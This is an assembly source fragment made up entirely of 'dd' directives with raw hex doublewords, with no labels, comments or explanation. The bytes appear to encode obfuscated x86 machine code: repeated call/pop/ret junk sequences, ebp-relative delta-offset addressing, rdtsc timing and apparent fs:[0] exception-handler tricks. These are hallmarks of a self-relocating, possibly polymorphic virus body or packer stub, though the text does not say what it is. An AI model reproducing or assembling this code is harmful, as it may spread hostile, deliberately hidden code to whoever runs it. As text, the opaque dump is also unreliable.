		dd 8FDB58Bh, 958D05E9h,	5E90B05h, 6A1A89h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 906766C3h
		dd 0D6D68688h, 0BF66FFE6h, 4289E59Fh, 57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0BE0A3076h, 2DAD958Dh, 0EE805E9h, 76000000h,	7895474Ch
		dd 484CF16Fh, 0EEE2F58Ah, 5992B580h, 8195E781h,	1A895C75h
		dd 8B660FB5h, 44289FEh,	2D681F9h, 8D46E823h, 0E910D595h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0CAFA384Bh, 518E6E26h, 6A1A89h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0EE15CCC3h, 44289FCh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0E2C35343h, 18447C2Ah, 8907D4C1h, 0E92F219Dh
		dd 29958D05h, 8905E928h, 53006A1Ah, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 49C5BD02h, 0E0932F39h
		dd 6A58D33h, 0CF8105E9h, 3580E372h, 1044289h, 0E92B918Dh
		dd 9D958D05h, 8105E932h, 0DA62ABD6h, 291A8910h,	0E92FDD85h
		dd 4428905h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	31C35040h, 7E828h, 318B0000h, 3FA4349Eh, 98D899Eh
		dd 5905E931h, 0D89958Dh, 0E6B505E9h, 6A1A89h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0AB9DA7C3h
		dd 0F18D8BE7h, 8905E924h, 9D890442h, 5E9109Dh, 2B41958Dh
		dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 2EBC8CC3h, 0CF803AACh, 8CBE7B72h,	89079785h
		dd 53006A1Ah, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 1FF5F955h, 15E92B35h, 0FABF0F99h, 9E9h
		dd 15D8DE00h, 31321AC2h, 4289C987h, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 5DA7B1F3h
		dd 0C36FDAB3h, 0B41958Dh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0A4E64DC3h, 68A0Fh, 8D890000h
		dd 5E91045h, 6E91A89h, 50000000h, 5E9A11AAh, 44289B0h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 1AC35545h
		dd 0AEE9h, 79BD8B00h, 6A05E91Dh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0BD8E428Fh
		dd 85891C79h, 5E90B89h,	0B589006Ah, 5E902B1h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 6A61D5C3h, 8D895300h, 5E90BA9h, 24BF6659h, 0B995FF90h
		dd 6A05E921h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 5FFEC353h, 0FA8BB3BCh,	1DD8D0Bh
		dd 9E905E9h, 10000000h,	2281360Ch, 0A329DCCh, 8D8951C3h
		dd 5E90E89h, 0DB58B59h,	8A05E90Fh, 51006AC5h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 68C0FADh, 31000000h
		dd 0E910B995h, 6AC08B05h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 5673C351h, 83142ACAh
		dd 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h, 8B535019h
		dd 438B8C0h, 85890000h,	5E905ADh, 0B92B9D8Dh, 0D3FF05EBh
		dd 0BD83585Bh, 5E91121h, 50177400h, 438B853h, 85890000h
		dd 5E905ADh, 0B5CC9D8Dh, 0D3FF05EBh, 6A585Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 804861C3h
		dd 6ABBC5h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 41811C3h,	8D89E91Dh, 5E92B71h, 858DC08Bh
		dd 5E921E5h, 1CED9D8Bh,	0E89005E9h, 6, 0BD605DAh, 0E851B524h
		dd 10h,	0C428DB2Ah, 3B4E1176h, 0D6E2CD43h, 0E0A2640Ah
		dd 505B5B5Fh, 61606053h, 6A905F61h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 8173C351h
		dd 349CE675h, 8CF211F2h, 9D8B006Ah, 5E925BDh, 9589006Ah
		dd 5E91095h, 39A4858Dh,	6A05EDh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 7C38ADC3h, 0F92849F2h
		dd 6A05C083h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0C772C355h, 210AA99h, 0BD8B8BD2h
		dd 5E905C9h, 50FE8B66h,	489DA8Ah, 6A006A24h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0C042C352h, 2CE9BD09h, 6A05E9h, 0C18D8957h, 5B05E932h
		dd 0AA195FFh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8D8D41C3h, 5ECADBFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DAC35242h, 0ABE8EEh
		dd 2921B531h, 0BD8B05E9h, 5E92AF5h, 6AD1FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0C60E9BC3h
		dd 0E8657914h, 0B70F15E8h, 1BD8BFEh, 8305E902h,	0E901BDBDh
		dd 850F0105h, 71h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0EEC35646h, 6A026Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0D6D084C3h
		dd 5015B728h, 489DE8Bh,	0AD95FF24h, 6A05E900h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 24C356h, 8B3BF746h, 0E90731BDh, 0E9AE905h, 0E80000h
		dd 5D000000h, 39AEED81h, 6A05EDh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 9DFD3C3h, 24598589h
		dd 8D8905E9h, 5E92AA5h,	27C1BD8Bh, 858D05E9h, 5EC904Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0EC35040h
		dd 0E799BA59h, 0EE9h, 0E9642700h, 0DD625378h, 56538C51h
		dd 53760F6Ah, 14E9h, 0D0D9A200h, 0F18DDB95h, 6B867782h
		dd 26214889h, 900B02CBh, 8A0F5B2Ch, 4, 0DCBEBB66h, 12E950h
		dd 0A9CF0000h, 504390C8h, 0D368DFECh, 9AAC8EA3h, 0FF270AABh
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 9B9DC351h, 19B1BD23h, 0FF6405E9h
		dd 35h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh,	24448104h
		dd 1704h, 0C3564600h, 6CF84A6Ah, 0F687EDBBh, 25896419h
		dd 0
		dd 9BBA6660h, 5DB58BF7h, 6105E919h, 68985FFh, 6A05E9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 14E9B8C3h, 0C4000000h, 5556B42Fh, 7D8BDE19h,	5F9F683Bh
		dd 55DA7197h, 0F665275h, 0FF6AF9BFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 43C35545h, 73FB18AEh, 8F1D3AC3h
		dd 23D19589h, 0B5FF05E9h, 5E9326Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0DBC35646h,	0FFD0B7E5h, 0E907C995h
		dd 11DE905h, 85890000h,	5E91825h, 0B0DE8B66h, 0FE800h
		dd 0E72C0000h, 0B8A8BDB7h, 243FAE3h, 0BB6E1DD3h, 0E3816650h
		dd 0E65B4857h, 0B8C0F70h, 0F000000h, 589h, 57A1BB00h, 5E91725h
		dd 2000000h, 0E7BC342h,	8F0F71E4h, 0
		dd 830F613Ch, 0CBh, 0BE8h, 0E9AA5800h, 7062AC76h, 0F57C71E1h
		dd 0B60F5BFCh, 0BADF8BC8h, 6, 0F5D9D8Bh, 0C18B05E9h, 0E8C198B7h
		dd 66DF8B04h, 9589E2F7h, 5E904B9h, 9D8BC82Bh, 5E928D9h
		dd 0FFB3D18Bh, 0E9h, 5858B00h, 8B05E90Bh, 0E90C8DBDh, 7C08305h
		dd 6600C083h, 3B338BBFh, 17830FD0h, 8B000000h, 0E931519Dh
		dd 5DE905h, 0BD310000h,	5E9283Dh, 325DBD0Bh, 8D8B05E9h
		dd 5E90791h, 5DD9D8Bh, 0E18305E9h, 3C840F01h, 0E8000000h
		dd 0Dh,	8FDAD3D1h, 623C6197h, 284ABAE0h, 0DDB501BDh, 5F05E903h
		dd 791A583h, 8BFE05E9h,	0E92DD59Dh, 5958905h, 0F05E90Bh
		dd 585h, 0AEE0BF00h, 0E93361h, 8D000000h, 0ECD332B5h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0E67FCD8Eh, 31006A86h, 0E92AD59Dh, 0DFF78105h, 0FF3BF6DEh
		dd 0E91E9595h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0F2E33005h, 70CB9D6h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 8E86F0C3h, 0C802F639h, 0F7C7F23h,	0C85h
		dd 6840F00h, 31000000h,	0E912A99Dh, 0FCE18305h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E6C35343h, 25238E10h
		dd 0F88BFC51h, 0B8h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 720E4F6Ah, 0BA79EDA4h
		dd 0
		dd 0FE850h, 0A780000h, 5CC20F76h, 54491669h, 382E90FDh
		dd 59D8BC7h, 5B05E92Eh,	0C233AD5Bh, 0D003E8D1h,	7504E983h
		dd 50006AF4h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0D1D316A3h, 95894554h, 5E92DC1h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C35545h, 67CCCC63h
		dd 2B507EE6h, 0E900B1BDh, 880D05h, 6E80000h, 0CB000000h
		dd 0BB7126F7h, 0D19D339Dh, 5F05E92Fh, 2655958Bh, 8D8B05E9h
		dd 5E90805h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	1EC35242h, 0A485B9CCh, 50633BAEh, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0AC862EF6h
		dd 0A09E05D2h, 6A723Eh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0AB4B84C3h, 799797C5h, 0BD8BAF96h
		dd 5E90EFDh, 1CF1BD83h,	0F0005E9h, 3D84h, 9DB58900h, 0B805E926h
		dd 0
		dd 0CB33FBBFh, 6D8D8D0Dh, 0E905E94Eh, 8, 1309F69Eh, 0FF5BAE04h
		dd 11E951h, 0F7190000h,	20B0CA94h, 93C07D0Eh, 3584CEA3h
		dd 5BD64502h, 0BD83E1FFh, 5E9163Dh, 7840F00h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 9B88C351h, 0D992E96Eh, 99EBB860h,	163DBD83h
		dd 0F0105E9h, 3F084h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 7DFCF83Ah, 0D9BF0F76h
		dd 163DBD83h, 0F0305E9h, 38A86h, 0BD958900h, 6005E905h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 11C35545h
		dd 18B99D8Bh, 8C6605E9h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 4E180FDh, 0BE9h, 552E9700h
		dd 3BD21261h, 343B1B7h,	68D0Fh,	0BD8B0000h, 5E92699h, 840FC90Ah
		dd 113h, 6800Fh, 0BD8B0000h, 5E907BDh, 2869858Bh, 9D8905E9h
		dd 5E91839h, 0E618533h,	870F05E9h, 2, 529069B3h, 0BDC349BFh
		dd 8A505F09h, 6A90DDh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0F32BE7C3h, 0AA4ACC41h, 6A006AF9h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0AFE3C356h, 880F8B4Ah, 1,	0FE8FCh, 9E590000h
		dd 0AE58CAACh, 16DAE867h, 6CE41A44h, 2FEB8141h,	5F5A54C4h
		dd 0E1CBDC68h, 0F525034h, 0B87h, 6E900h, 592A0000h, 58CAAC9Eh
		dd 11E9310Fh, 0F0000000h, 6B5F432Dh, 0DAE26930h, 0E9B68718h
		dd 0A5E073CAh, 3481585Ah, 0FEC82324h, 0FFDA8B34h, 0E9292D95h
		dd 0D88B6605h, 0BACE8589h, 6A05ECh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 72D2F3C3h
		dd 19F78400h, 0BD8B4988h, 5E9069Dh, 19FE9h, 8BFD8A00h
		dd 0ECBAC685h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0F8858510h, 0CC474D31h
		dd 1FA65ABFh, 0BE94Fh, 839E0000h, 33683F5Eh, 0C973E9A1h
		dd 1800C7B8h, 8B000000h, 0E92799BDh, 0CAB58B05h, 8B05ECBAh
		dd 0E91E85BDh, 39858B05h, 8105E92Fh, 0BF476BCBh, 6A06892Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 1009C357h, 0FA1BD8Bh, 858B05E9h, 5E92869h
		dd 0B5896060h, 5E91259h, 15D9BD03h, 896105E9h, 0E92FDD85h
		dd 46896105h, 0FD9D8B04h, 9605E92Ch, 6810F52h, 50000000h
		dd 5A310F52h, 66505F58h, 96FA6EBBh, 0E59D8951h,	5F05E90Dh
		dd 0FFFB8B66h, 0ECBAC6B5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 98926EA2h
		dd 4A82E201h, 0C7816680h, 4E810FBh, 0FF000000h,	0E8001F03h
		dd 10h,	64696A60h, 0D219113Bh, 7795630h, 0B5189893h, 860Fh
		dd 505F0000h, 310F5250h, 2343BB66h, 448B585Ah, 8B660424h
		dd 8B008BFEh, 244489F8h, 6A5804h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 423DFC3h, 5DB30E3Eh
		dd 8D929EE7h, 0ECBACE85h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0C47AB3FDh
		dd 89500D38h, 2B532404h, 0E9023DBDh, 95FF5B05h,	5E9292Dh
		dd 7BF5BF66h, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 68C0F0Eh,	89000000h, 0E9031985h
		dd 3D85C705h, 305E916h,	0E8000000h, 0Ah, 747E228Bh, 14A014FFh
		dd 0AE919A3h, 49000000h, 8EE25549h, 47D07B1Dh, 0BD835B59h
		dd 5ECBACEh, 0C840F00h,	0F5000000h, 21E9h, 0F59D8B00h
		dd 5005E92Ah, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 72066AC3h, 0F5F98B2Ch, 163DBD83h
		dd 0F0305E9h, 4A785h, 0AE800h, 0AECC0000h, 0B16D2F33h
		dd 4976EC99h, 10820Fh, 0AE80000h, 43000000h, 4F6DF597h
		dd 6DBE944Bh, 835F5F0Ah, 0ECBACEBDh, 840F0005h,	474h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1FC35242h, 0ED0D36F0h
		dd 0AE92548h, 51000000h, 157C1134h, 0FEA2A21Eh,	0CEB5FFCAh
		dd 6A05ECBAh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 48EDC352h, 0F0FE2825h,	30F1BD2Bh
		dd 95FF05E9h, 5E92B75h,	0D33BF66h, 0BAC2B58Bh, 14E905ECh
		dd 0E9000000h, 0B06A41h, 891A4352h, 5E1C31F9h, 4760EE82h
		dd 0C76AE729h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0D20927C4h, 46747780h
		dd 0BB525096h, 932CD07h, 890F310Fh, 5, 7D98DCBBh, 50585A5Bh
		dd 519FBF66h, 10E996h, 0E4CC0000h, 81F2442Eh, 0DA9AD5C6h
		dd 5BAF5AA0h, 0B5FF9D4Eh, 5ECBACEh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0D2C35545h,	0CEBF660Eh, 4D95FFACh
		dd 8905E92Bh, 0E90499B5h, 0C2B58B05h, 8B05ECBAh, 0E91C99BDh
		dd 0DD858B05h, 6A05E90Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 891DC353h, 0C486h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 26F293E1h, 6840F06h, 81000000h, 0D40615CFh
		dd 55958B04h, 0FC05E926h, 0E904C283h, 0Eh, 0BCF5840Eh
		dd 24DC85E1h, 0B9092CF4h, 0B5891C18h, 5E91D45h,	0F205089h
		dd 858DFEBFh, 5ECD055h,	0B88689h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 35AF54C3h
		dd 0DDBD8BBBh, 8905E907h, 0E9115185h, 6A006A05h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0A747C357h, 0B5FFF503h, 5ECBACEh, 0AD95FFF9h, 905E900h
		dd 0E9052D85h, 11E95005h, 42000000h, 61CAC71Dh,	0A3BD6879h
		dd 61808C50h, 2C2638D7h, 6A243489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0E1CC350h
		dd 312B801h, 4B29E37Dh,	0F2D9D89h, 6E805E9h, 3000000h
		dd 61685D3Ah, 0BF0F53AFh, 0FF5B5BD8h, 0ECBACEB5h, 0EF816605h
		dd 95FF27A2h, 5E93231h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 6AC35545h, 0D8ADA52Dh, 359D8DBFh, 0B1BD8300h
		dd 5E92Ah, 4B840Fh, 0BE90000h, 69000000h, 29A3A4A8h, 3DD0F10Bh
		dd 0E85092C9h, 0Dh, 0DFD10C81h,	0A5594367h, 8510C311h
		dd 5BD98B85h, 6A243489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 89EDC351h, 0E9283D9Dh
		dd 0CEB5FF05h, 6A05ECBAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 5C36C352h, 9D8BF11Dh
		dd 5E92DFDh, 2F6195FFh,	6A05E9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 66957DC3h, 29E5C24Eh, 0E9160585h, 6D8D8905h,	0FF05E905h
		dd 0ECBACEB5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0DB615CFAh, 0E98B43F9h
		dd 6, 3B613C0Eh, 95FFE77Ch, 5E92DC5h, 54B7F781h, 0BD833DE7h
		dd 5E903FDh, 0CD840F02h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 60A1C356h
		dd 0B9B58950h, 5E05E90Dh, 10FDB58Bh, 0E96105E9h, 13h, 80A4676Ah
		dd 92C7B509h, 70C3B137h, 0B1022938h, 8BF1B920h,	0E9305585h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0B91EBA4Ch, 0C351CA17h, 0CF815FD0h, 2B921CA6h
		dd 6A0000C6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0B442C356h, 82379D5Bh,	0F03D010Dh
		dd 0EE8h, 0EB9D6700h, 0D7F44D8Ch, 6191B1D5h, 0E9297AF6h
		dd 11h,	6BEB9273h, 28C0AC3Ch, 0A2FDDE73h, 31A7A57Fh, 8A0F5BE2h
		dd 0
		dd 27A985C7h, 5E9h, 9D8B0000h, 5E9179Dh, 0FFF30DE9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0AF7E5FF0h, 0D9BD03BFh, 8B05E91Eh, 55006AC1h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 3B13E632h, 0CFD44996h, 0EB814D06h, 4424B077h, 21E5858Dh
		dd 0E78005E9h, 0FB8B90CBh, 0FA8B6650h, 6820F90h, 89000000h
		dd 0E90D4D85h, 8A006A05h, 8B006AFEh, 0E908E5BDh, 0EA858D05h
		dd 6A05ED49h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 19D2C357h, 8BBFFD9Dh, 0E919419Dh
		dd 5C08305h, 58B0Fh, 0ACBB0000h, 290E356Eh, 0E9042D85h
		dd 8B565005h, 4895FF8h,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 32D8B560h, 8BFF87F7h
		dd 499589D8h, 6A05E924h, 359D8B00h, 6A05E92Dh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 901FEAF1h, 0B04BFB90h, 1268EB81h, 95FF4D01h,	5E90AA1h
		dd 3830Fh, 8B660000h, 0BF8D8DF8h, 8B05ECADh, 0FFD88BF8h
		dd 6870FD1h, 8B000000h,	0E921BD9Dh, 759D2305h, 8305E91Eh
		dd 0E901BDBDh, 850F0105h, 9Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0AAC35545h,	0ECF4C7Eh, 66BC53F2h
		dd 6AF8D88Bh, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 58E777B9h, 908BEAA5h, 0B0BF5250h
		dd 0F374794h, 21E5BB31h, 585A0704h, 0A9BB5050h,	5B1649B3h
		dd 0E12FBF90h, 515627A4h, 5BF98B66h, 0AD95FF5Bh, 6A05E900h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 112AC355h, 0D79BAF1Ah, 44E66D82h,	0E9DEBF0Fh
		dd 0DF3h, 0E8h,	0ED815D00h, 5ED49F4h, 26ED8D89h, 6A05E9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0DCD926C3h, 0E4477538h, 0DE9FBh, 0EF9F0000h,	1B18CE6Fh
		dd 0E42156A8h, 8D1C6F2Dh, 0EC904B85h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 45023584h, 48950D6h,	358D3124h, 6405E908h, 35FFh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 5B63BC3h, 0A06C15FAh, 9ABB33Ch, 0E910A595h, 25896405h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 6C35747h
		dd 3C978420h, 68985FFh,	6A05E9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 291F79C3h, 1426F0AFh
		dd 3359D89h, 0CEBF05E9h, 6A6EC708h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0FBCC8041h
		dd 3B1BD8Bh, 0B5FF05E9h, 5E9182Dh, 0FFDABF0Fh, 0E907C995h
		dd 11EE905h, 9D2B0000h,	5E924EDh, 9D3300B0h, 5E91E15h
		dd 9D2970E6h, 5E91649h,	9D8B71E4h, 5E925BDh, 830F613Ch
		dd 0F8h, 331D9D33h, 0B60F05E9h,	6BAC8h,	0D88A0000h, 0DE8BC18Bh
		dd 8104E8C1h, 616132DFh, 0E2F76606h, 8E8h, 384C4100h, 8E1B06C5h
		dd 0BD8589B4h, 5B05E92Eh, 13E8C82Bh, 6A000000h,	980A467h
		dd 3792C7B5h, 3870C3B1h, 20B10229h, 0BB66F1B9h,	8B5F5E5Eh
		dd 2880FD1h, 8B000000h,	19E9FAh, 9E80000h, 13000000h, 0DFE11631h
		dd 0F7935437h, 2B616060h, 0E930E18Dh, 8B5F6105h, 0E92DAD85h
		dd 0CF816605h, 10E9BBA2h, 7A000000h, 0B1ADB47Ch, 0D0EDC5D9h
		dd 62B7D6D9h, 834BBF99h, 0C08307C0h, 68A0F00h, 8B000000h
		dd 0E90DF9BDh, 0FD03B05h, 0B83h, 0D3A5BB00h, 39E90E6Bh
		dd 0F9000000h, 0E418D8Bh, 816605E9h, 839779C7h,	840F01E1h
		dd 24h,	4CC0DF81h, 0A5837B57h, 5E90E41h, 0EE20BBFEh, 95893DD2h
		dd 5E92DADh, 0AF09BB51h, 0E95B57C2h, 0
		dd 0DBE8B58Dh, 6A05ECh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 9E521DC3h, 0BE5A9917h, 0E812AF5Bh
		dd 10h,	48616B3Eh, 992FDF89h, 5F65F6C2h, 2286CCDDh, 108C0Fh
		dd 0BE90000h, 0EC000000h, 2F5534F5h, 0A40981BFh, 0E95B6B32h
		dd 14h,	6DBE944Bh, 0BFAC290Ah, 6C360164h, 0AA260EBBh, 64F81297h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 8BB7C5C3h, 199D8B04h, 0FF05E90Dh,	0E91E9595h
		dd 0FDB58905h, 0B905E901h, 0CB3h, 37EDBB66h, 0B7FCE183h
		dd 6AFC8Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0D98BEDC3h, 9D8BC02Bh, 5E93311h, 75A1F781h
		dd 0D22B2B5Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	21C35343h, 0F6EC901h, 33ADD9B7h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 50E101C3h, 89DA8B5Ah, 0E91D8D9Dh,	880D05h
		dd 9D8B0000h, 5E90C15h,	2655958Bh, 6A05E9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 87828C3h
		dd 0CA9019AFh, 8DBB66C4h, 58D8B7Bh, 5005E908h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 55006A58h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 60F985C4h
		dd 235D9589h, 0BD8B05E9h, 5E90EFDh, 398D3161h, 8305E918h
		dd 0E91CF1BDh, 840F0005h, 7Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0E4C35040h,	1AB5AA0Ch, 0B8880Bh
		dd 89000000h, 0E921DD9Dh, 6D8D8D05h, 6A05E94Eh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 5C80C357h, 0FFF98B66h, 55006AE1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BD8B9D1Bh
		dd 5E92EE1h, 0C1BD8Bh, 0BD8305E9h, 5E9163Dh, 6840F00h
		dd 0BF000005h, 63895A4Eh, 836FE380h, 0E9163DBDh, 840F0105h
		dd 50Ch, 0FE9h,	27D09B00h, 6D547945h, 0A3D09778h, 0A17E19B5h
		dd 163DBD83h, 0F0305E9h, 4B586h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0DF267DACh
		dd 1D9400E2h, 9D319B39h, 5E9314Dh, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 390CE9A0h
		dd 23DDBF66h, 9499C9BBh, 0D98C6625h, 0E852006Ah, 3, 5AC35A20h
